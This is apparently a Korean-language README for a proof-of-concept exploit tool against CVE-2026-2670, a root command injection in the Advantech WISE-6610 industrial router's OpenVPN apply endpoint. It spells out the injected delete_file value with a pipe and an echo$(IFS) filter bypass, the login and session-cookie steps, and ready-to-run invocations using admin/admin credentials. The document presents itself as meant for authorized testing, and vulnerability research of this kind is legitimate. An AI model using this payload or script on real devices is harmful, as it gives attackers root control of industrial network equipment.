
CVE-2026-2670에 대한 개념 증명 익스플로잇으로, Advantech WISE-6610 라우터의 명령 주입 취약점으로, 인증된 공격자가 루트 권한으로 임의의 명령을 실행할 수 있게 합니다.
Advantech WISE-6610 산업용 셀룰러 라우터의 명령 주입 취약점을 입증하는 개념 증명 익스플로잇입니다.
이 취약점은 /cgi-bin/luci/admin/openvpn_apply 엔드포인트에 존재하며, 인증된 공격자가 임의의 시스템 명령을 실행할 수 있게 합니다.
WISE-6610 웹 인터페이스는 OpenVPN 구성 삭제를 처리할 때 delete_file 매개변수를 제대로 검증하지 않습니다.
유효한 자격 증명을 가진 공격자는 파이프(|) 뒤에 명령어와 종료용 echo$(IFS) 시퀀스를 사용하여 셸 명령을 주입하고 입력 필터링을 우회할 수 있습니다.
주입된 명령은 루트 권한으로 실행됩니다.
requests 라이브러리의존성 설치:
pip install requests
옵션 설명
--target 장치의 기본 URL (예: http://192.168.1.100:8444)
--cmd 실행할 명령어. 출력을 웹 루트 내 파일로 작성해야 함 (예: id > output.txt)
--output 출력 파일의 웹 경로 (예: /output.txt). --cmd에서 사용한 파일명과 일치해야 함
--cookie (선택) 기존 sysauth 세션 쿠키 값
--username (선택) 로그인용 사용자 이름
--password (선택) 로그인용 비밀번호
--delay 출력을 검색하기 전 대기 시간(초) (기본값: 2)
--debug 상세 요청/응답 로깅 활성화
이 스크립트는 두 가지 인증 방식을 지원합니다:
기존 sysauth 세션 쿠키 제공
사용자 이름과 비밀번호로 로그인
기본 구문
python3 exploit.py --target <URL> --cmd <COMMAND> --output <OUTPUT_PATH> \
[--cookie <SYSCOOKIE> | --username <USER> --password <PASS>] \
[--delay <SECONDS>] [--debug]
1️⃣ 사전 인증된 쿠키 사용
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ 자격 증명으로 로그인
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ 디버그 출력 사용
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
인증에 필요한 luci_nonce 쿠키를 얻기 위해 /cgi-bin/luci/로 GET 요청을 보냅니다.
자격 증명이 제공된 경우, 스크립트는 sysauth 쿠키를 얻기 위해 luci_username 및 luci_password와 함께 /cgi-bin/luci/로 POST 요청을 보냅니다.
--cookie를 통해 유효한 쿠키가 제공되면 이 단계는 건너뜁니다.
다음 엔드포인트로 POST 요청을 보냅니다:
/cgi-bin/luci/admin/openvpn_apply
다음 매개변수와 함께:
act=delete
delete_file=123123|<command> echo$(IFS)
openvpn_id=1
echo$(IFS) 시퀀스는 주입된 명령을 종료하고 입력 필터를 우회하는 데 도움이 됩니다.
짧은 지연 후, 스크립트는 지정된 --output 경로에서 생성된 파일을 검색하려고 시도합니다.
이 도구는 교육 목적과 승인된 보안 테스트 전용으로 제공됩니다.
소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.
저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.